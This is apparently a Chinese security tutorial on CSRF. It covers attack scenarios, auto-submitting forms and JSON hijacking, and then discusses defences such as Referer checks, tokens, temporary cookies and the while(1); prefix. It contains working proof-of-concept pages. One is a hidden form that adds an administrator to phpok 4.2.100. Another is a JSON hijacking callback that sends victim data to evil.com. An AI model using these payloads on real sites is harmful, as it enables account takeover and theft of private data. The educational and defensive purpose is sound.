邪恶的csrf

邪恶的csrf
关于csrf是啥我就不多说了

进入正文

场景模拟

场景一

在一个bbs社区里，用户在发言的时候会发出一个这样的GET请求：
```
#!html
GET /talk.php?msg=hello HTTP/1.1
Host: www.bbs.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea
```
这是用户发言内容为“hello”时发出的请求，当然，用户在请求的同时带上了该域下的cookie，于是攻击者构造了下面的csrf.html页面：
```
#!html
<html>
    <img src=http://www.bbs.com/talk.php?msg=goodbye />
</html>
```
可以看到，攻击者在自己的页面中构造了一个发言的GET请求，然后把这个页面放在自己的服务器上，链接为http://www.evil.com/csrf.html。之后攻击者通过某种方式诱骗受害者访问该链接，如果受害者此时处于登录状态，就会带上bbs.com域下含有自己认证信息的cookie访问http://www.bbs.com/talk.php?msg=goodbye,结果就是受害者按照攻击者的意愿提交了一份内容为“goodbye”的发言。

有人说这有什么大不了的，好，我们再看看另一个场景下的CSRF攻击。

场景二

在一个CMS系统的后台，发出下面的POST请求可以执行添加管理员的操作：
```
#!html
POST /manage.php?act=add HTTP/1.1
Host: www.cms.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;
is_admin=234mn9guqgpi3434f9r3msd8dkekwel

uname=test&pword=test
```
在这里，攻击者构造了的csrf2.html页面如下
```
#!html
<html>
    <form action="/manage.php?act=add" method="post">
        <input type="text" name="uname" value="evil" />
        <input type="password" name="pword" value="123456" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
</html>
```
该页面的链接为http://www.evil.com/csrf2.html，攻击者诱骗已经登录后台的网站管理员访问该链接（比如通过给管理员留言等方式）会发生什么呢？当然是网站管理员根据攻击者伪造的请求添加了一个用户名为evil的管理员用户。

通过这些场景我们可以看到，CSRF攻击会根据场景的不同而危害迥异。小到诱使用户留言，大到垂直越权进行操作。这些攻击的请求都是跨域发出,并且至关重要的一点，都是在受害者的身份得到认证以后发生的。另外，我们在第一个场景中攻击时并没有使用JavaScrpit，这说明CSRF攻击并不依赖于JavaScript。

CSRF攻击方式

HTML CSRF攻击：

即利用HTML元素发出GET请求（带src属性的HTML标签都可以跨域发起GET请求），如：
```
#!html
<link href="…">
<img src="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url=…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">
…
```
若要构造POST请求，则必须用表单提交的方式。另外，这些标签也可以用JavaScript动态生成，如：
```
#!html
<script>
    new Image().src = 'http://www.goal.com/…';
</script>
```
JSON HiJacking攻击：

为了了解这种攻击方式，我们先看一下Web开发中一种常用的跨域获取数据的方式：JSONP。

先说一下JSON吧，JSON是一种数据格式，主要由字典（键值对）和列表两种存在形式，并且这两种形式也可以互相嵌套，非常多的应用于数据传输的过程中。由于JSON的可读性强，并且很适合JavaScript这样的语言处理，已经取代XML格式成为主流。

JSONP（JSON with Padding）是一个非官方的协议，是Web前端的JavaScript跨域获取数据的一种方式。我们知道，JavaScript在读写数据时受到同源策略的限制，不可以读写其他域的数据，于是大家想出了这样一种办法：

前端html代码：
```
#!html
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function jsonpCallback(result) { 
        alert(result.a); 
        alert(result.b);
        alert(result.c); 
        for(var i in result) { 
            alert(i+":"+result[i]);//循环输出a:1,b:2,etc. 
        } 
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>
```
后端的php代码：
```
#!php
<?php 
//服务端返回JSON数据 
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); 
$result=json_encode($arr); 
//echo $_GET['callback'].'("Hello,World!")'; 
//echo $_GET['callback']."($result)";
//动态执行回调函数 
$callback=$_GET['callback']; 
echo $callback."($result)";
?>
```
可以看到，前端先是定义了jsonpCallback函数来处理后端返回的JSON数据，然后利用script标签的src属性跨域获取数据（前面说到带src属性的html标签都可以跨域），并且把刚才定义的回调函数的名称传递给了后端，于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行，达到了跨域获取数据的目的。

一句话描述JSONP：前端定义函数却在后端完成调用然后回到前端执行！

明白了JSONP的调用过程之后，我们可以想象这样的场景：

当用户通过身份认证之后，前端会通过JSONP的方式从服务端获取该用户的隐私数据，然后在前端进行一些处理，如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护，就容易受到JSON HiJacking的攻击。

就以上面讲JSONP的情景为例，攻击者可以构造以下html页面：
```
#!html
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function hijack(result) { 
        var data = '';
        for(var i in result) {
            data += i + ':' + result[i];
        }
        new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</html>
```
可以看到，攻击者在页面中构造了自己的回调函数，把获取的数据都发送到了自己的服务器上。如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面，其隐私将暴露无疑。

0x04 CSRF的危害

前面说了CSRF的基本概念，列举了几个CSRF的攻击场景，讲述了几种CSRF的攻击方法，现在我们来简单总结一下CSRF攻击可能造成的危害。

CSRF能做的事情大概如下：

1）篡改目标网站上的用户数据；
2）盗取用户隐私数据；
3）作为其他攻击向量的辅助攻击手法；
4）传播CSRF蠕虫。

其中前两点我们在之前的例子中已经做了比较详细的说明，不再赘述。第三点即将其他攻击方法与CSRF进行结合进行攻击，接下来我们以实际的漏洞实例来说明CSRF的第三个危害。

另外，CSRF蠕虫就是利用之前讲述的各种攻击方法，并且在攻击代码里添加了形成蠕虫传播条件的攻击向量，这一点会在本文的最后介绍。

攻击实例

版本4.2.100：

在phpok该版本的后台提交如下POST请求可以添加管理员：
```
#!html
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
…
Cookie: …

id=…&accont=…&pass=…&status=…&if_system=…
```
攻击者可以构造如下页面：
```
#!html
<html>
    <div style="display:none">
        <form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
            <input type="hidden" name="id" value=""/>
            <input type="hidden" name="account" value=""/>
            <input type="hidden" name="pass" value=""/>
            <input type="hidden" name="email" value=""/>
            <input type="hidden" name="status" value=""/>
            <input type="hidden" name="if_system" value=""/>
            <input type="submit" name="up" value="submit"/>
        </form>
        <script>
            var t = document.poc;
            t.account.value="wooyun";
            t.pass.value="123456";
            t.status.value="1";
            t.if_system.value="1";
            document.poc.submit();
        </script>
    </div>
</html>
```
CSRF的防御

前面我们了解了这么多有关CSRF攻击的东西，目的是为了明白如何防御CSRF攻击（真的是这样吗？...）。

要防御CSRF攻击，我们就要牢牢抓住CSRF攻击的几个特点。

首先是“跨域”，我们发现CSRF攻击的请求都是跨域的，针对这一特点，我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下，用户提交的都是站内的请求，其Referer中的来源地址应该是站内的地址。至关重要的一点是，前端的JavaScript无法修改Referer字段，这也是这种防御方法成立的条件。

不过需要说明的是，有的时候请求并不需要跨域，比如我们后面讲到的结合XSS进行攻击的时候，有的时候甚至没有Referer字段…，这些也是使用这种防御方法的弊病所在。

第二点是“伪造”，这也是CSRF攻击的核心点，即伪造的请求。我们来想一下，攻击者为什么能够伪造请求呢？换句话说，攻击者能够伪造请求的条件是什么呢？纵观之前我们伪造的所有请求，无一例外，请求中所有参数的值都是我们可以预测的，如果出现了攻击者无法预测的参数值，那么将无法伪造请求，CSRF攻击也不会发生。基于这一点，我们有了如下两种防御方法：
1. 添加验证码；
2. 使用一次性token。
先看看第一种。验证码的核心作用是区分人和机器，而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的，属于机器发出的请求，攻击者无法预知验证码的值，所以使用验证码可以很好地防御CSRF攻击，但毫无疑问，验证码会一定程度地影响用户体验，所以我们要在安全和用户体验之间找到一个平衡点。

再看看第二种方法。所谓token是一段字母数字随机值，我们可以把它理解为一个服务端帮我们填好的验证码！每当我们访问该页面时，服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中，当我们提交表单时，token会作为一个参数提交到服务端进行验证。在这个请求过程中，token的值也是攻击者无法预知的，而且由于同源策略的限制，攻击者也无法使用JavaScript获取其他域的token值，所以这种方法可以成功防御CSRF攻击，也是现在用的最多的防御方式。

但是，需要注意的一点是，token的生成一定要随机，即不能被攻击者预测到，否则这种防御将形同虚设。另外，token如果作为GET请求的参数在url中显示的话，很容易在Referer中泄露。还有更重要的一点：如果在同域下存在XSS漏洞，那么基于token的CSRF防御将很容易被击破，我们后面再说。

除了“跨域”和“伪造”两点，我们还可以注意到CSRF在攻击时间上的特点：CSRF攻击都是在受害者已经完成身份认证之后发生的，这是由CSRF攻击的目的所决定的。基于这一点，我们还可以想出一些缓解CSRF攻击的方法（注意是缓解），比如缩短Session的有效时间等等，可能一定程度上会降低CSRF攻击的成功率。

总结一下上面的防御方法如下：
1. 验证Referer；
2. 使用验证码；
3. 使用CSRF token；
4. 限制Session生命周期。
其中第四种属于缓解类方法，就不多说了。我们看一下其他三种方法都分别存在什么弊病。

Referer最大弊病：有些请求不带Referer；

验证码最大弊病：影响用户体验；

CSRF token最大弊病：随机性不够好或通过各种方式泄露，此外，在大型的服务中需要一台token生成及校验的专用服务器，需要更改所有表单添加的字段，有时效性的问题。

那么有没有其它的办法能够有效地防御CSRF攻击呢？xeye团队的monyer提出了下面这样的方法：

原理与token差不多：当表单提交时，用JavaScript在本域添加一个临时的Cookie字段，并将过期时间设为1秒之后在提交，服务端校验有这个字段即放行，没有则认为是CSRF攻击。

前面提到，token之所以可以防御CSRF，是因为攻击者无法使用JavaScript获取外域页面中的token值，必须要遵守同源策略；而临时Cookie的原理是：Cookie只能在父域和子域之间设置，也遵守同源策略，攻击者无法设置该Cookie。

下面看一个简单的demo，前端http://127.0.0.1:8888/test.html：
```
#!html
<html>
    <script>
        function doit() {
            var expires = new Date((new Date()).getTime()+1000);
            document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
        }
    </script>
    <form action="http://127.0.0.1:8888/test.php" name="f" id="f" onsubmit="doit();" target="if1">
        <input type="button" value="normal submit" onclick="f.submit();">
        <input type="button" value="with token" onclick="doit();f.submit();">
        <input type="submit" value="hook submit">
    </form>
    <iframe src="about:blank" name="if1" id="if1"></iframe>
</html>
```
服务端http://127.0.0.1:8888/test.php:
```
#!php
<?php
echo "<div>Cookies</div>";
var_dump($_COOKIE);
?>
```
前端test.html页面中有三个按钮：第一个是正常的表单提交；第二个是添加临时Cookie后提交表单；第三个是以hook submit事件来添加临时Cookie并提交。

通过上面的演示，我们可以看到设置临时Cookie的效果。

不过这种方式只适用于单域名的站点，或者安全需求不需要“当子域发生XSS隔离父域”。因为子域是可以操作父域的Cookie的（通过设置当前域为父域的方式），所以这种方法的缺点也比较明显：这种方法无法防御由于其他子域产生的XSS所进行的表单伪造提交（注意：使用token可能也会有这样的问题，马上说到）。但如果对于单域站点而言，这种防御方法的安全性可能会略大于token。

对于这种防御方式的几个小疑问：
1. 网络不流畅，有延迟会不会导致Cookie失效？这个显然是不会的，因为服务端Cookie是在提交请求的header中获得的。延时在服务端，不在客户端，而1秒钟足可以完成整个表单提交过程。
2. Cookie的生成依赖于JavaScript，相当于这个token是明文的？这是肯定的，不管采用多少种加密，只要在客户端，就会被破解，不过不管怎样，CSRF无法在有用户状态的情况下添加这个临时Cookie字段（同源策略）。虽然通过服务端可以，但是无法将当前用户的状态也带过去（即攻击者尝试在自己的中转服务器上添加临时Cookie，但是这种做法背离CSRF攻击的目的了，因为受害者的Cookie（认证信息）不会发到攻击者的中转服务器上啊…顺便说一句，Referer也是同样的道理）。
3. 如果由于某种网络问题无法获取Cookie呢？那么保存用户状态的Cookie当然也无法获取了，用户只能再重新提交表单才可以，这就与CSRF无关了。
由于这种防御策略还没有被大规模使用，所以无法确定其是否真实有效。不过如果有效的话，这大概是一种最简单的、对代码改动最小，且对服务器压力也最小的防御CSRF的方法。

在攻击方法中我们详细讲解了JSON HiJacking，那么针对这种特定的CSRF攻击方法，我们有没有什么特定的防御方法呢？

当然有了，这里介绍两种：

1）在返回的脚本开始部分加入“while(1);”:

当攻击者通过JSON HiJacking的方式获取到返回的JSON数据时，其攻击代码会陷入死循环中，无法将敏感信息发送到自己的服务器上，这样就防止了信息泄露；而正常的客户端代码可以正确地处理返回的JSON数据，它可以先将“while(1);”去掉再正常处理。

这样做相比较与其他方式CSRF的方法有一个突出的好处，即不依赖浏览器的边界安全策略，而是在代码级别引入保护机制。

Google的部分服务就采取了这种防御方法，具体内容可以参考下面的链接：

http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses

2) 使用POST表单提交的方式获取JSON数据：

当前端可以使用XMLHttpRequest获取JSON数据时，当然也可以使用POST表单的方式完成这项任务，这样的话攻击者就无法使用script标签来获取JSON数据（因为src属性发出的是GET请求）。

纵观这些CSRF的防御方法，无一不是针对CSRF攻击成立的条件进行破坏，这也是“未知攻，焉知防”道理的体现。我们在对自己的网站进行防御的时候，要根据自己的业务场景，选择一个最合适的防御方案。
相关阅读:
js 对象合并
 python3 TypeError: 'str' does not support the buffer interface in python
django rest framework 再撸体验
 linux shell输入重定向
 httpie 取代 curl
wget 断点续传 & nginx文件服务器
 select2 demo
vmare centos 6.8 minimal 无法上网
 protocol http not supported or disabled in libcurl apt-get
python3 -pip
原文地址：https://www.cnblogs.com/M0rta1s/p/11743811.html

场景模拟

场景一

场景二

CSRF攻击方式

HTML CSRF攻击：

JSON HiJacking攻击：

0x04 CSRF的危害

攻击实例

版本4.2.100：

CSRF的防御